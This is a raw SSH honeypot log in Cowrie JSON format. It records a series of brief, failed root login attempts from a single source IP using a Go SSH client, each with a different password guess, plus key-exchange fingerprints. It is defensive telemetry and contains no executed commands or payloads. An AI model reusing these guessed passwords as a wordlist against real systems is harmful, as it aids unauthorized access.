{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:14.537536Z","src_ip":"60.165.124.241","session":"f2d01d487ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator01","message":"login attempt [root/Administrator01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:15.304260Z","src_ip":"60.165.124.241","session":"f2d01d487ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:16.556446Z","src_ip":"60.165.124.241","session":"f2d01d487ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55188,"dst_ip":"10.17.0.5","dst_port":22,"session":"78140a5e721b","protocol":"ssh","message":"New connection: 60.165.124.241:55188 (10.17.0.5:22) [session: 78140a5e721b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:16.790898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:16.795901Z","src_ip":"60.165.124.241","session":"78140a5e721b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:17.043764Z","src_ip":"60.165.124.241","session":"78140a5e721b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo1234","message":"login attempt [root/hallo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:17.795762Z","src_ip":"60.165.124.241","session":"78140a5e721b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:19.048826Z","src_ip":"60.165.124.241","session":"78140a5e721b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1f2a23bf0cf","protocol":"ssh","message":"New connection: 60.165.124.241:58230 (10.17.0.5:22) [session: b1f2a23bf0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:19.332680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:19.337080Z","src_ip":"60.165.124.241","session":"b1f2a23bf0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:19.601178Z","src_ip":"60.165.124.241","session":"b1f2a23bf0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rising%100Safe","message":"login attempt [root/rising%100Safe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:20.385504Z","src_ip":"60.165.124.241","session":"b1f2a23bf0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:21.646268Z","src_ip":"60.165.124.241","session":"b1f2a23bf0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33122,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1bdcf4df41d","protocol":"ssh","message":"New connection: 60.165.124.241:33122 (10.17.0.5:22) [session: b1bdcf4df41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:21.862534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:21.867396Z","src_ip":"60.165.124.241","session":"b1bdcf4df41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:22.106108Z","src_ip":"60.165.124.241","session":"b1bdcf4df41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd12345^","message":"login attempt [root/Abcd12345^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:22.825351Z","src_ip":"60.165.124.241","session":"b1bdcf4df41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:24.066737Z","src_ip":"60.165.124.241","session":"b1bdcf4df41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36026,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9123869659","protocol":"ssh","message":"New connection: 60.165.124.241:36026 (10.17.0.5:22) [session: ce9123869659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:24.325998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:24.330445Z","src_ip":"60.165.124.241","session":"ce9123869659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:24.584542Z","src_ip":"60.165.124.241","session":"ce9123869659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2021!","message":"login attempt [root/Admin2021!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:25.350806Z","src_ip":"60.165.124.241","session":"ce9123869659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:26.605310Z","src_ip":"60.165.124.241","session":"ce9123869659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39312,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef994f9a6a8","protocol":"ssh","message":"New connection: 60.165.124.241:39312 (10.17.0.5:22) [session: eef994f9a6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:26.845362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:26.849983Z","src_ip":"60.165.124.241","session":"eef994f9a6a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:27.100208Z","src_ip":"60.165.124.241","session":"eef994f9a6a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Aa.","message":"login attempt [root/123456789Aa.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:27.843000Z","src_ip":"60.165.124.241","session":"eef994f9a6a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:29.090942Z","src_ip":"60.165.124.241","session":"eef994f9a6a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42240,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5798efeedb7","protocol":"ssh","message":"New connection: 60.165.124.241:42240 (10.17.0.5:22) [session: a5798efeedb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:29.317060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:29.325143Z","src_ip":"60.165.124.241","session":"a5798efeedb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:29.561884Z","src_ip":"60.165.124.241","session":"a5798efeedb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14881488","message":"login attempt [root/14881488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:30.279987Z","src_ip":"60.165.124.241","session":"a5798efeedb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:31.528986Z","src_ip":"60.165.124.241","session":"a5798efeedb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45298,"dst_ip":"10.17.0.5","dst_port":22,"session":"b83f16e086e0","protocol":"ssh","message":"New connection: 60.165.124.241:45298 (10.17.0.5:22) [session: b83f16e086e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:31.774882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:31.779706Z","src_ip":"60.165.124.241","session":"b83f16e086e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:32.024894Z","src_ip":"60.165.124.241","session":"b83f16e086e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123-=","message":"login attempt [root/qwe123-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:32.776073Z","src_ip":"60.165.124.241","session":"b83f16e086e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:34.019323Z","src_ip":"60.165.124.241","session":"b83f16e086e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd8dfa54afd","protocol":"ssh","message":"New connection: 60.165.124.241:48214 (10.17.0.5:22) [session: 5dd8dfa54afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:34.272249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:34.276845Z","src_ip":"60.165.124.241","session":"5dd8dfa54afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:34.523577Z","src_ip":"60.165.124.241","session":"5dd8dfa54afd","protocol":"ssh"}
